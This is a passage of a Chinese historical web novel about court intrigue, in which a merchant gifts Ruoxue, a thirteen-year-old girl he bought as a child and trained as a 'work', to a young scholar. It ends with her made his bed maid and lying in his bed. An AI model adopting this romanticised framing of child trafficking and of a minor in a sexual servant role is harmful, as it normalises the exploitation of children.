林万三的脸上重新浮现出那种温和的笑容。 “若雪,扬州人氏。八年前,扬州水患,她父母为了给家里的独子换一口活命的粮食,在街头将她卖了。恰好被我遇见,便买了下来。” “这八年来,我请了最好的先生教她读书写字,请了最好的乐师教她琴棋书画,请了最好的舞娘教她歌舞身段。” “她很聪明,学什么都很快。如今,她十三岁,已经是整个江宁府,最出色的一件‘作品’。” 他口中的“作品”二字,让含香的脸色又白了一分。 而那名叫若雪的少女,却依旧面无表情,仿佛说的不是自己。 林万三一字一句地说道,目光紧紧地盯着陆明渊。 “原本,她的归宿,是京城里某位达官贵人的后院,或者送入宫中为妃,为我,换来一份前程,一份利益。” “但是现在,我改变主意了。” 林万三站起身,走到陆明渊身旁,轻声说道。 “陆爵爷,今天是我林万三来图谋你,明天,或许就是沈万三,陈万三。” “只要你还是林总督的弟子,只要你还是圣上亲封的爵爷,这样的事情,就永远不会停止。” “他们会用美人,用金钱,用权势,用尽一切办法来拉拢你,腐蚀你。” “你挡得住一次,挡得住十次吗?你今日能看穿我的计谋,明日能看穿别人的阳谋吗?” 他的声音充满了蛊惑的意味。 “所以,爵爷不若就收下若雪姑娘。让她跟在你身边,当个侍女也好,当个玩伴也罢。” “有她在,其他人自然会明白,爵爷您已经被我“腐蚀”,也就不会再白费心思。” “你若是担心她会传递消息,大可不必。从今天起,她与我林万三再无任何瓜葛。” “你就当她是个纯粹的侍女,一个哑巴,一个摆设,不用理会她,甚至可以囚禁她,都随你的便。” “陆爵爷,我这是在帮你。也是在……投资你。” 第138章 我的命运,从现在起,就交给你 所有人的目光,都聚焦在了陆明渊身上。 严和同的喉结上下滚动,冷汗已经浸湿了他的后襟。 他看着陆明渊那张稚嫩却平静的可怕的脸,心中涌起一股荒谬的绝望。 含香的脸色愈发苍白,她看着若雪,眼神复杂。 那是一种同为女子的怜悯,更深处,是对这个将女子当做货物的世道的无声控诉。 唯有若雪,依旧静静地立在那里,垂着眼帘,长长的睫毛在眼下投下一片浅浅的阴影。 她像一尊没有灵魂的玉雕,对周遭的一切都漠不关心。 仿佛林万三口中那个悲惨的命运,属于另外一个人。 时间,在众人的沉默中缓缓流淌。 陆明渊的目光,从林万三含笑的脸上,缓缓移到了若雪的身上。 他没有看她的绝世容颜,也没有看她玲珑的身段,他的目光,落在了她那双空洞的眸子上。 他看到了八年前扬州泛滥的洪水,看到了啼哭的婴孩,看到了易子而食的惨剧。 看到了一个父亲为了换一袋活命的粮食,将亲生女儿推出去时的决绝。 他也看到了这八年来,琴房里的挑灯苦练,舞榭里的汗水浸衣,书房里的皓首穷经。 他看到了一件“作品”是如何被精雕细琢,磨去所有的棱角,所有的情感,只剩下最完美,也最空洞的躯壳。 然后,他笑了。 不是冷笑,不是嘲笑,而是一种带着些许怜悯,又带着几分通透的,淡淡的笑意。 “林先生。” 陆明渊的声音依旧清脆,却多了一丝玩味。 “当着我的面,在我身边安插一枚眼线,还说得如此冠冕堂皇,是当我陆明渊蠢得无可救药?” “还是当我老师巡抚府内,那些幕僚先生们,都是一群傻子?” 这番话,如同一柄重锤,狠狠地敲在了严和同的心上。 他本以为陆明渊会愤怒,会犹豫,会不知所措。 却没想到,他竟如此直接,如此尖锐地撕开了林万三的伪装。 林万三脸上的笑容微微一滞,随即,他非但没有动怒,反而轻轻地鼓起掌来。 “啪!啪!啪!” 掌声不重,却清晰地回荡在每个人耳边。 “好!说得好!” 林万三拊掌赞叹,眼中那丝欣赏之色愈发浓郁。 “县试、府试、院试,三试魁首,果然是天资过人,世间绝无第二人。” “一年之内,连中三元,更是风华绝代,我大乾朝近百年来,也未曾出过这般天骄!陆小爵爷,自然不蠢!” 他的语气陡然一转,变得深沉而真诚。 “陆爵爷,你以为,我林万三处心积虑布下此局,真的只是为了送一个女人给你,给你我背后的人当一枚棋子吗?” 陆明渊静静地看着他,不言不语,等待着他的下文。 林万三叹了口气,缓缓道。 “不瞒爵爷,在派人去你家乡江陵县打探消息的人回来之前,我为你,或者说为我背后的那位大人,准备了足足三套计划。” “第一套,便是利用严和同,在陆爵爷醉酒后,将若雪送到你身边。” “这是下策,因为变数太大,容易引起你的反感,甚至会让你与我等彻底走向对立面。” “第二套,是动之以情。我查到你家境虽已改善,但你的母亲王氏,出身大户,却因嫁给你父亲而与娘家断了联系,多年来心中一直存有芥蒂。” “我本打算派人寻到你的外祖家,从中斡旋,修复关系,以此卖你一个人情。这是中策,润物无声,却耗时耗力。” “至于第三套……” 林万三的眼中闪过一丝复杂的光芒,甚至带着一丝后怕。 “是绝户计。我知道你有一个三岁的弟弟,名唤陆明泽,聪慧可爱。若是前两策都不成,我背后那位的意思是……用你的家人,来让你‘听话’。” 此言一出,阁楼内的温度仿佛骤然降到了冰点! 严和同骇然地瞪大了眼睛,林万三,背后竟藏着如此歹毒的心思! 对一个三岁的孩子下手,这还是人吗? 陆明渊的瞳孔,也在这一瞬间猛地收缩。 他那一直古井无波的脸上,终于第一次,浮现出了一丝凛冽的杀意。 那杀意虽然一闪即逝,却让一直观察着他的林万三心中一寒。 “但是,我放弃了。” 林万三的声音变得无比郑重。 “尤其是放弃了第三套计划。因为去江陵县的人回来告诉我,你陆明渊,是如何从一个农家子,一步步走到今天。” “我看到了你的才华,看到了你的心性,更看到了你身上那无穷的潜力。” “我忽然觉得,用这些上不得台面的手段,去巴结如今江苏省的布政使大人,换取一些眼前的利益,是何等愚蠢的行为!” “赌一个陆明渊的未来,远比巴结一个陈文德,要有前途得多!” 林万三的声音掷地有声,每一个字都充满了力量。他这是在表态,更是在下注! 布政使,陈文德! 当这个名字从林万三口中说出时,严和同只觉得一阵天旋地转。 布政使,掌管一省钱粮的封疆大吏,从四品的大员! 那等人物,是他这种穷秀才一辈子都无法企及的存在。 而自己,竟然在不知不觉中,成了这等大人物棋盘上的一颗小小棋子。 陆明渊脸上的杀意缓缓敛去,取而代之的是一种浓厚的兴趣。 “陈文德……” 他轻轻念着这个名字,“老师的政敌?” “是,也不是。” 林万三坦然道。 “陈大人与林巡抚,政见多有不合。他想要利用爵爷你,在林巡抚身边埋下一根钉子,伺机而动,最好是能抓住林巡抚的把柄,将他拉下马。” “若是不能,便想办法将林巡抚也拖下水,成为他的‘同僚’。” “他真正的目的,是等到林大人调离江苏之后,顺理成章地接手江南道巡抚一职。这,便是陈文德的全部谋划!” 这番话,无异于惊天秘闻。 林万三就这么轻描淡写地,将这些抖落在了陆明渊面前。 这已经不是诚意了,这是在递投名状! 陆明渊的指尖在紫檀木的桌面上轻轻敲击着,发出“笃、笃”的轻响,仿佛敲在每个人的心上。 “林先生倒是坦诚。” 陆明渊忽然又笑了,只是这次的笑容里,带着一丝锋锐。 “你就不怕,我转头就将你今日所言,原封不动地告诉陈文德?” “到时候,一位巡抚,一位布政使,同时对你施压。” “你林万三就算在江宁府手眼通天,恐怕在这江苏省内,也再无立锥之地,必死无疑。” 这个问题,如同一把尖刀,直刺林万三的要害。 林万三端起茶杯的手,在空中出现了极其轻微的一顿。 那细微的停顿,没有逃过陆明渊的眼睛。 但仅仅是片刻,林万三便恢复了镇定,他将茶杯送到唇边,浅啜了一口,然后缓缓放下,点了点头。 “怕,也不怕。” 他直视着陆明渊的眼睛,目光灼灼。 “在我没见到陆爵爷之前,我怕。” “我怕爵爷是个恃才傲物的蠢人,是个分不清好坏的愣头青,是个会被眼前利益蒙蔽双眼的俗物。那样的人,即便才高八斗,也走不远。” “但是今日见完了,我就不怕了。” 林万三的嘴角勾起一抹自信的弧度。 “因为我知道,陆爵爷比谁都清楚,谁是朋友,谁是敌人。” “其他人给你画的饼再大,那也是镜花水月,他能给你的,林巡抚能给你十倍百倍。” “而我林万三,今日虽是你的敌人,明日,却可以成为你最得力的臂助。” “我林万三在江宁府的名声,爵爷大可以出去查,出去问。” “问那些达官贵人,他们会说我贪婪狡诈;但你去问街边的百姓,问秦淮河上的船夫,问那些在底层挣扎的苦哈哈,他们不会骗人!” 这番话,说的是豪气干云,坦荡磊落。 “我林万三今日敢在这里说这些,便是堵上了我全部的身家性命!” 他站起身,对着陆明渊深深一揖。 “从这一刻起,爵爷你手中,就握着随时都能置我于死地的把柄。这份诚意,够不够?” “你信与不信,便是你自己的事了!” 说完,林万三再不拖泥带水,转身便走。 他走到门口,对守在门外的阿大阿二拱了拱手,然后便大步流星地离去了,只留下一个决绝的背影。 整个含香阁,再次陷入了死一般的寂静。 林万三走了,但他留下的话,却像一块巨石,压在每个人的心头。 他留下的人,更像是一道无解的难题,摆在了陆明渊的面前。 严和同呆呆地站在原地,脑子里一片空白。 今天发生的一切,已经彻底超出了他的认知。 权谋、算计、投诚、赌命。 今日这一幕惊心动魄的大戏,他只是其中一个微不足道的小丑。 含香的目光落在陆明渊身上,她轻轻咬着下唇,眼神中除了原有的忧愁,更多了几分好奇与探究。 而若雪,在林万三离开后,终于有了第一个属于自己的动作。 她缓缓抬起头,那双死寂空洞的眸子,第一次,真正地、清晰地倒映出陆明渊的身影。 她看着他,没有哀求,没有期盼,也没有恐惧,就只是那么静静地看着。 仿佛在问:我的命运,从现在起,就交给你了吗? 四个人,四双眼睛,在这间雅致而压抑的阁楼内,对视无言。 第139章 这一手,玩得实在高明 也不知过了多久,或许只是一瞬,或许是半盏茶的工夫。 “吱呀——” 阁楼的门被轻轻推开,一名上了年纪的龟公躬着身子走了进来。 他脸上堆着谦卑而又世故的笑容,走到陆明渊的桌前,双手捧着一张泛黄的契纸。 那是含香的卖身契。 “陆爵爷,” “林老板方才离去时吩咐了小的。从今儿起,含香姑娘和便是自由身了。” “林老板还说,若是爵爷您……不肯收留她们,便请爵爷赏她们十两银子,让她们自生自灭便是。” “只是……林老板也让小的带句话。” “他说,这是个吃人的世道。含香姑娘和若雪姑娘这般的人物。” “若是今个儿走出了咱们怡红楼的大门,怕是下一秒,就会被人光天化日之下绑了去。” “至于以后会经历什么,那便不是他林老板能知道的了。” 龟公深深地垂下头,语气里带上了一丝微不可查的叹息。 “林老板希望……陆爵爷能给她们一条活路。” 说完,他不敢多留,行了个礼,便悄无声息地退了出去,将门重新合上。 “活路?” 陆明渊低声重复着这两个字,嘴角勾起一抹自嘲的弧度。 他没有去看那张卖身契,也没有去看那两个命运悬于他一念之间的女子。 他的目光,落在了早已魂不守舍的严和同身上。 “严兄。” 他淡淡地开口。 严和同猛的一个激灵,像是从噩梦中惊醒,茫然地看向陆明渊。 陆明渊伸出两根手指,将那张轻飘飘的卖身契夹了起来。 手腕一抖,那张决定了含香半生命运的契纸,如同一片枯叶,飘飘荡荡地落在了严和同的脚下。 “你不是心悦含香姑娘吗?” 陆明渊的声音很轻,却凶狠地刺入严和同的耳中。 “现在,她自由了。这张契纸,你拿去烧了也好,留着做个念想也罢,都随你。” 严和同的身体剧烈地颤抖起来。 他看着脚下的那张纸,又看看陆明渊那张平静得没有一丝波澜的脸,嘴唇哆嗦着,却一个字也说不出来。 陆明渊站起身,整理了一下自己的衣衫。 “从今天起,你我之间,再无瓜葛。” 他的声音冷得像风。 “这二十余天的情谊,便当我陆明渊……喂了狗。” 话音落下,他再不看屋内任何人一眼,转身,迈步,推门而出。 整个过程行云流水,没有丝毫的拖沓与犹豫。 严和同“扑通”一声跪倒在地,泪水决堤而下,他伸出手,想要抓住什么,却只抓到了一片虚无的空气。 含香看着陆明渊离去的背影,眼中闪过一丝释然,随即又被更深的忧愁所笼罩。 她走到严和同身边,没有去捡那张卖身契,只是轻轻地将他扶起。 而若雪,在陆明渊转身的那一刻,也动了。 她没有任何言语,没有任何表情,就像一个被设定好程序的木偶,陆明渊走,她便跟上。 那双空洞的眸子里,自始至终,只有那一个瘦削而挺拔的少年背影。 …… 江宁府的街道,繁华如织。 叫卖声、车马声、行人的说笑声,汇成了一曲热闹的人间烟火。 陆明渊走在前面,步履不快,却也绝不算慢。 他没有回头,却能清晰地感受到身后那道不远不近,如影随形的目光。 他心中有些烦躁。 林万三这一手,玩得实在高明。 他将若雪变成了一个烫手的山芋,一个道德的枷锁,就这么硬生生地塞到了自己手里。 收下? 等于默认了这笔交易。 不收? 眼睁睁看着一个活生生的人,因为自己的拒绝而坠入更深的地狱? 陆明渊自问不是圣人,却也做不到如此铁石心肠。 他故意拐进了一条狭窄的巷弄。 他加快了脚步。 身后的脚步声也随之加快,依旧是那般轻盈,却带着一丝急促的喘息。 他又接连穿过几条街巷,专门挑那些路况复杂,人流拥挤的地方走。 他甚至绕着夫子庙的外围走了一大圈,企图用这迷宫般的街巷将身后的人甩掉。 可无论他如何加速,如何绕路,那道身影始终顽强地缀在他的身后。 像一缕无法摆脱的幽魂。 一个时辰后,陆明渊终于停下了脚步。 他站在一座石桥上,靠着斑驳的石栏,看着桥下缓缓流淌的秦淮河支流。 金色的夕阳洒在水面上,粼粼波光,晃得人有些睁不开眼。 他缓缓回过头。 若雪就站在他身后三步远的地方,微微喘着气。 她的额头上布满了细密的汗珠,顺着光洁的脸颊滑落,有几缕发丝被汗水浸湿,贴在了鬓角。 她的脸色因为急促的行走而泛起一丝不正常的潮红。 可那双眼睛,却依旧是那般空洞,无神,像两口深不见底的古井,看不出丝毫的情绪波动。 她就那么静静地站着,看着陆明渊。 陆明渊看着她,心中那股烦躁不知为何,竟悄然散去了几分。 他自己也出了一身薄汗,正想用袖子擦一擦,却见若雪动了。 她从袖中取出一方洁白的手帕,叠得整整齐齐,然后默默地递了过来。 陆明渊的眉头微微一皱,没有接。 他厌恶的,是林万三以及他背后代表的一切。 似乎是看穿了他心中的嫌弃,若雪那一直紧抿着的嘴唇,终于轻轻开启。 “这是我自己织的。” 她的声音,空灵,清冷,却又带着一丝奇异的力量,清脆而执着。 “不是林万三的。” 她抬起眼帘,那双死寂的眸子第一次泛起了一丝微弱的涟漪,她看着陆明渊,一字一句地说道。 “即便是公子再嫌弃我,也总要……擦擦汗,再骂。” 陆明渊怔住了。 他没想到,这个看似没有灵魂的玉雕,会说出这样的话。 那声音里没有哀求,没有卑微,只有一种近乎固执的平静。 他看着那方手帕,又看了看她那双虽然空洞,却异常干净的眼睛,终究还是没有在这种事情上继续纠结。 他伸出手,接过了手帕。 手帕上带着一股淡淡的皂角清香,还有一丝女子身体的温热。 他随意地擦了擦额头的汗,然后便将手帕揣进了怀里。 “咕——” 一声不合时宜的声响,打破了两人之间微妙的沉默。 声音是从若雪的腹中发出的。 她似乎也未曾料到,那张万年不变的冰山脸上,终于出现了一丝皲裂,一抹红晕迅速从耳根蔓延到了脸颊。 她下意识地捂住了肚子,将头偏向一边,似乎觉得极为难堪。 陆明渊看着她这副模样,忽然觉得有些好笑。 折腾了一个多时辰,滴水未进,也难怪会饿。 他不再多言,转身走下石桥,来到桥头一个卖肉包子的小摊前。 “老板,来四个肉包。” “好嘞!” 热气腾腾的包子很快就到了手上,香气扑鼻。 陆明渊拿着油纸包,走到若雪面前,看她依旧倔强地偏着头,不肯看自己。 他也不说话,自顾自地拿起一个包子,咬了一大口。 肉馅鲜美,汤汁四溢,确实是饿了。 他又拿起两个,不由分说地塞进了若雪的手里。 “吃吧。” 他的语气平淡,听不出喜怒。 若雪捧着那两个温热的包子,感受着手心传来的温度,身体微微一僵。 她似乎还在犹豫,还在挣扎,可腹中那诚实的饥饿感,却让她无法抗拒。 最终,她还是学着陆明渊的样子,小口小口地吃了起来。 她的吃相很斯文,很秀气,即便是在这人来人往的街边,也带着一种与周遭格格不入的优雅。 夕阳下,石桥边。 一个身着青衫的俊秀少年,一个身姿窈窕的绝色少女,就这么旁若无人地站在路边,安静地吃着包子。 这副景象,实在是有些奇特。 俊男靓女的组合,总是能轻易地吸引路人的目光。 不少行人纷纷侧目,对着他们指指点点,好奇地猜测着他们的身份。 陆明渊不喜欢成为焦点。 他三两口吃完剩下的包子,见若雪也吃完了,便丢下一句“跟上”,快步朝着巡抚府的方向走去。 若雪默默地将包着包子的油纸仔细叠好,塞进袖中,然后迈开脚步,紧紧地跟了上去。 这一次,她的脚步似乎比之前轻快了一些。 穿过喧闹的街市,两人一前一后地回到了戒备森严的巡抚府。 门口的护卫显然认得陆明渊,没有丝毫阻拦,躬身行礼。 陆明渊目不斜视地走了进去,若雪也低着头,紧随其后。 穿过前院,绕过厅堂,陆明渊一路向着自己居住的后院走去。 身后,那道倩丽身影也一直紧随其后! 第140章 学生今日去了一趟怡红楼 总督府的夜晚,比白日里更多了几分肃杀与沉静。 陆明渊的脚步声在青石板铺就的甬道上回响。 他能感觉到,身后的若雪亦步亦趋,脚步轻得几乎听不见。 行至后院月亮门前,一名管事模样的中年人早已等候在此,见到陆明渊,立刻躬身行礼。 “陆爵爷,大人回来了,正在书房等您。” 陆明渊点了点头,心中了然。 老师回府,自己今日在外的所作所为,想必已经一字不落地传到了他的耳中。 “带路吧。” 他淡淡道。 管事应了声“是”,便在前面引路。 陆明渊跟上,若雪自然也跟上。 穿过几重回廊,书房那厚重的楠木门便出现在眼前。 门前灯火通明,两名护卫按刀而立,神情肃穆。 沈文龙站在门廊的阴影下,见到陆明渊,脸上露出一丝温和的笑意,迎了上来:“爵爷。” 他的目光在陆明渊身后的若雪身上停留了一瞬,眼神平静无波,仿佛早已知晓一切。 “老师在里面?” 陆明渊问道。 “在,大人吩咐,您一回来便直接进去。” 沈文龙说着,侧过身,对若雪做了一个“请”的手势,语气却是不容置喙的安排。 “这位姑娘,请随我到偏房稍作等候。” 若雪闻言,脚步一顿,那双空洞的眸子下意识地望向陆明渊的背影。 陆明渊没有回头,只是平静地说道:“去吧。” 得到他的首肯,若雪才微微垂下眼帘,对着沈文龙施了一福,然后便跟着下人,走向了旁边的一间厢房。 陆明渊收回目光,整理了一下衣冠,深吸一口气,推开了书房的门。 书房内烛火通明,将整间屋子照得亮如白昼。 林瀚文正坐在一张宽大的书案后,手中捧着一卷书,神情专注。 他穿着一身藏青色的常服,卸下了官袍的威严,多了几分儒雅学士的气度。 听到开门声,他缓缓抬起头,目光落在陆明渊身上。 “老师。” 陆明渊躬身行礼,态度恭敬。 “坐。” 林瀚文指了指书案对面的椅子,声音温和。 陆明渊依言坐下,身姿挺拔,静待老师的问话。 林瀚文没有立刻开口,他将手中的书卷合上,轻轻放在一旁,然后端起手边的茶盏,慢条斯理地撇去浮沫,浅啜了一口。 整个书房静得只剩下烛火偶尔爆开的“噼啪”声。 陆明渊安然若素,他知道,老师想问什么。 与其等他问,不如自己说。 “老师,学生今日去了一趟怡红楼……” 他将今日发生的事情,从如何遇到严和同,如何被引荐给林万三,再到陈文德的谋划。 以及林万三那一番惊人的操作,全都一五一十,毫无保留地叙述了一遍。 他没有添油加醋,也没有夹杂任何个人情绪,只是将事实复述了一遍。 林瀚文一直静静地听着,直到陆明渊说完,他才缓缓开口。 他的语气中带着一丝不易察觉的赞许:“你做得对。” 陆明渊微微一怔。 “陈文德此人,我有所耳闻,是小阁老门下的一条走狗。” “他今日设这个局,看似是冲着你来,实则是想借你这颗棋子,来探我的底,甚至……是想将你我师徒二人,一同拖进泥潭里。” 林瀚文的目光变得锐利起来。 “与其等着他们将这盆脏水泼过来,让你百口莫辩,倒不如像你这样,当场就把这层窗户纸给戳破了。” 他看着陆明渊,眼中闪过一丝欣赏。 “你当众与那严和同割袍断义,看似是少年意气,实则是一步妙棋。” “如此一来,你便从局中人,变成了局外人。” “无论那严和同日后如何,都与你再无干系。他们想用一个青楼女子的名节来构陷你,便也失了根基。” “至于那个林万三……” 林瀚文嘴角勾起一抹意味深长的笑容,“倒是个聪明人。” 说着,他从手边的抽屉里,取出了一封信,递给了陆明渊。 陆明渊双手接过,展开信纸。 信上的字迹遒劲有力,内容却让他心头一震。 信中,林万三将陈文德奉小阁老之命,意图通过严和同与含香之事,构陷陆明渊,进而牵连林瀚文的整个阴谋,写得清清楚楚,明明白白。 每一个环节,每一个人物,都交代得滴水不漏。 这哪里是一封信,这分明是一份投名状! 一份将自己的身家性命,连同陈文德与小阁老的阴私,一同交到林瀚文手中的投名状! “有了这封信,” 林瀚文的声音悠悠响起。 “我随时都能要了那陈文德的命,也能让小阁老吃一个哑巴亏。” “而他林万三,也等于将自己的脖子,送到了我的刀下。” 陆明渊将信纸缓缓合上,心中的震撼无以复加。 他原以为林万三只是个精明的商人,却没想到,此人竟有如此魄力与决断。 他这是在用自己的全部身家,赌一个未来! “他将若雪送给你,便是这份投名状上,最重的一笔。” 林瀚文端起茶杯,目光幽深。 “他这是想用一个女子的美貌与才华,在你身边博一个妾室的身份。” “如此一来,他林万三便与你,与我巡抚府,有了联系。日后你若青云直上,他便有了靠山。这笔买卖,做得不亏。” 陆明渊默然。 “老师,那若雪……” “留下吧。” 林瀚文摆了摆手,语气随意。 “当个侍女就好。我近来也正打算为你挑选几个伴读和侍女。” “这若雪既然被林万三花费重金培养,想必琴棋书画,针织女红,都差不到哪里去,留在你身边伺候笔墨,倒也合适。” 他看了陆明渊一眼,话锋一转,带上了几分长辈的口吻。 “你如今也到了知慕少艾的年纪,那若雪姿容绝色,若是日后你当真心动了,收为妾室也无妨。” “只要记住,你的正妻,必须是家世清白、门当户对的大家闺秀,这关乎你的仕途前程,马虎不得。” 陆明渊心中一凛,躬身道:“学生明白。” 林瀚文满意地点了点头,神色渐渐变得严肃起来。 “明渊,你可知,当今朝堂,是何光景?” 陆明渊正襟危坐:“学生愚钝,请老师赐教。” “如今的朝堂,看似平静,实则暗流汹涌。明面上,可分为三派。” 林瀚文伸出一根手指。 “其一,便是以严阁老与其子小阁老为首的严党。” “他们父子二人,一个把持内阁,一个在朝中遍植党羽,掌控了吏部、工部、礼部,权势滔天,一手遮天。” 他又伸出第二根手指。 “其二,便是以几位御史言官为首的清流一派。” “他们占据了户部与兵部,与严党分庭抗礼,势同水火。” “当初为你请来男爵封赏的,便是清流一脉在背后出了大力。” 最后,林瀚文放下了手,沉声道。 “而第三派,便是我这般,不愿结党,只忠于陛下的纯臣,也就是所谓的皇党。” “我们看似中立,实则却是两派都想拉拢,也都想打压的对象。” “今日陈文德之事,便是严党对你的第一次试探,也是对我的试探。” 书房内的空气仿佛都凝重了几分。 林瀚文看着陆明渊那张尚显稚嫩,却异常沉静的脸,语重心长地说道。 “明渊,你记住,朝堂之水,深不见底。一步踏错,便是万劫不复。”、 “即便是为师,身处这江苏巡抚之位,也如履薄冰,稍有不慎,便会粉身碎骨。” “你如今身负爵位,又是我林瀚文的弟子,早已被卷入这漩涡之中。” “日后识人做事,务必要万分小心,多思,多看,少言。” 这一番话,如洪钟大吕,在陆明渊的心头敲响。 他一直以为,自己要面对的只是科举路上的竞争。 却没想到,在自己尚未察觉之时,就已经踏入了一个更加凶险,更加诡谲的战场。 他站起身,对着林瀚文深深一揖,声音郑重无比:“学生,谨遵老师教诲!” 林瀚文欣慰地笑了笑,挥了挥手:“去吧,今日也累了,早些歇息。” “是。” 陆明渊又请教了一些关于学问上的事情,才躬身退出了书房。 书房内,林瀚文端起已经微凉的茶水,一饮而尽。 他对着门外阴影处的沈文龙,淡淡地吩咐道:“文龙。” “属下在。” 沈文龙悄无声息地出现在门口。 “将那个叫若雪的姑娘,带进来吧。” 林瀚文的声音在安静的书房中响起。 “我亲自问问话。” 第141章 为何要让若雪为我暖床? 沈文龙的身影在门外一晃而没,片刻之后,若雪那纤弱的身影便出现在了门口。 她走进书房,步履无声,在距离书案三步之遥的地方停下,盈盈一拜。 “奴婢若雪,拜见林大人。” 她的声音很轻,像是晚风拂过柳梢,听不出任何情绪。 林瀚文没有让她起身,他依旧坐在那张宽大的椅子里,目光如鹰隼般锐利,一寸一寸地审视着眼前这个女孩。 他见过太多的人,也见过太多的美人,但像若雪这般,美得如此纯粹,又沉静得如此诡异的,却是第一个。 她的身上有一种矛盾的气质,既有被精心雕琢过的精致与顺从。 又仿佛在那顺从的表象之下,藏着一块千年不化的寒冰。 “抬起头来。” 林瀚文的声音平淡,却带着不容抗拒的威严。 若雪依言缓缓抬头,那双空洞的眸子迎上林瀚文的审视。 她没有丝毫躲闪,也没有丝毫畏惧,就那样静静地看着。 仿佛在看一棵树,一块石头,而不是一位手握江南十数万人生杀大权的封疆大吏。 “林万三花了多少心思在你身上?” 林瀚文问道。 “回大人,从五岁起,琴棋书画,诗词歌赋,皆有名师教导。” “七岁学舞,九岁习茶,十岁学香,十三岁熟读四书五经,八年未曾有一日懈怠。” 若雪的回答像是在背诵一段与自己无关的经历。 林瀚文点了点头,这些都在他的意料之中。 能被林万三当作最重的筹码送出来,必然是千锤百炼的精品。 “你可知,你今日为何会出现在这里?” “知晓。” 若雪的回答依旧简单。 “林老板将奴婢,赠予了陆爵爷。” “赠予?” 林瀚文的嘴角泛起一丝冷峭的笑意。 “说得好听。你于他而言,是一件货物,一件用以攀附权贵的精美货物。” “他将你送出,便再无收回的道理。你于我总督府而言,却是一个不大不小的麻烦。” 若雪静静地听着,长长的睫毛微微颤动了一下,除此之外,再无任何反应。 “本官现在给你三个选择。” 林瀚文竖起一根手指。 “第一,从今日起,你便是我巡抚府的下人,我会给你一个新的身份,让你在此安稳度日。” “府中规矩森严,无人敢欺辱于你,但你也需恪守本分,一生一世,再无自由可言。” 他又竖起第二根手指。 “第二,我给你一笔银子,再修书一封给地方官,为你寻一户殷实人家嫁了,或是给你置办一份产业,让你自食其力。” “从此天高海阔,你便是自由身,与林万三,与陆明渊,与我这巡抚府,再无半点瓜葛。” “我林瀚文在此担保,那林万三绝不敢再以你家人为要挟,动你分毫。” 最后,他看着若雪的眼睛,缓缓说道。 “第三,留在明渊身边。但你要想清楚,他是我林瀚文的弟子,未来的国之栋梁,他的身边,容不得半点污秽与算计。” “你若留下,便要守我的规矩,一言一行,一举一动,都必须以他为先。” “你将是他身边最贴心的侍婢,但或许,也仅仅只是侍婢。” 书房内陷入了长久的沉默。 烛火在灯罩里静静燃烧,将林瀚文的身影投射在背后的墙壁上,巨大而威严。 这是一个足以改变一生的抉择。 对任何一个女子而言,第二条路无疑是天大的恩赐,是挣脱牢笼,重获新生的机会。 然而,若雪几乎没有任何犹豫。 “奴婢,选第三条路。” 林瀚文的眉梢微微一挑,似乎有些意外。 “为何?自由不好吗?还是你觉得,跟在明渊身边,日后能博一个飞上枝头的机会?” 他的话语变得有些凌厉。 若雪的身体几不可查地颤抖了一下,那双空洞的眸子里,第一次泛起了一丝涟漪。 她沉默了许久,似乎在寻找一个合适的词语来形容自己的心情。 最终,她只是轻轻地摇了摇头,声音低得如同梦呓。 “奴婢……也说不清楚。只是在怡红楼上,见到爵爷的第一眼,心里便有个声音告诉我,就是他了。” “跟着他,便是奴婢的命。” 这番话,听起来有些荒诞,甚至有些痴傻。 但林瀚文却从她那双渐渐有了神采的眸子里,看到了一种近乎偏执的纯粹。 那里面没有贪婪,没有算计,没有一丝一毫的非分之想,只有一种认定了,便是一生一世的执着。 这是一种宿命般的直觉。 林瀚文盯着她看了许久,那锐利的目光渐渐柔和下来,最终,他发出一阵低沉而爽朗的笑声。 “哈哈哈……好一个‘就是他了’!好一个‘便是你的命’!” 他笑得极为开怀,仿佛听到了什么极为有趣的事情。 他一生阅人无数,见惯了各种机心巧诈,却许久未曾见过如此干净纯粹的眼神。 “罢了,罢了。” 他摆了摆手。 “既然是你自己选的路,日后是福是祸,便自己担着吧。” 他沉吟片刻,开口道。 “从今日起,你便是明渊的通房丫鬟。他院里的大小事务,一应下人,都由你来管教调派。你可明白?” “通房丫鬟”四个字,如同一道惊雷,在若雪的心湖中炸响。 她的脸颊“腾”的一下就红了,那抹绯红从耳根一直蔓延到脖颈。 像是上好的胭脂,瞬间染透了她雪白的肌肤。 她垂下头,不敢再看林瀚文,声音细若蚊蚋:“奴婢……明白了。” “去吧,明渊就在他的院子里。” 林瀚文挥了挥手,重新拿起了桌上的书卷。 “是。” 若雪深深一福,躬身退出了书房。 当那扇厚重的门重新合上,她才敢抬起头来,轻轻地吁了一口气。 她按照下人的指引,穿过回廊,来到一处雅致清幽的独立院落。 院中种着几竿翠竹,月光洒下,竹影婆娑,别有一番意境。 正房的窗户里,透出明亮的灯光。 若雪在门口站定,整理了一下有些凌乱的心绪,这才轻轻推开了门。 门内,陆明渊正伏在案前,手持狼毫,在宣纸上练字。 他神情专注,笔走龙蛇,小小的年纪,却已有一股沉凝如山的气度。 若雪的脚步顿住了,她就那样静静地站在门口,看着灯火下那个认真的身影,一时间竟有些痴了。 似乎是察觉到了门口的光影变化,陆明渊停下笔,抬起头来。 四目相对。 陆明渊的目光平静无波,他看到了若雪,看到了她身上那套属于巡抚府侍女的衣裳,心中便已了然。 这是老师的意思。 若雪回过神来,连忙垂下眼帘,快步走到书案旁,拿起墨锭,开始为他研墨。 她的动作轻柔而熟练,显然是专门学过。 陆明渊没有说话,也没有阻止。 林瀚文贵为一省巡抚,宦海沉浮数十载,那双眼睛比尺子还准,比刀子还利。 识人之能,远胜于自己。 既然老师都认可了这个女子,那便说明,她至少在明面上,是干净的,是可用的。 他收回心神,重新将注意力放在笔下的宣纸上。 一个写,一个磨。 谁也没有说话,仿佛他们本就该是这个样子,已经这样相处了许多年。 一炷香的功夫,陆明渊写完了最后一笔,将笔搁在笔架上。 若雪适时地递上一块温热的毛巾。 陆明渊擦了擦手,看着纸上那一个个铁画银钩的大字,心中因朝堂之事而起的波澜,渐渐平复下来。 “水备好了。” 若雪轻声说道,指了指屏风后面。 陆明渊点了点头,绕过屏风。 浴桶里早已备好了温度适宜的热水,旁边还熏着安神的香料。 他有些不适应这种被人伺候到无微不至的生活,但也没有矫情的拒绝。 他知道,这是他身份地位改变后,必须习惯的事情。 他让若雪退下,自己洗漱完毕,换上一身干净的寝衣,从屏风后走了出来。 然后,他直接傻在了原地。 只见原本平整的床榻上,此刻竟微微隆起一团。 若雪正侧躺在床榻内侧,身上盖着一床锦被,只露出一个乌黑的后脑勺。 陆明渊的脑子“嗡”的一声,一片空白。 这是什么情况? 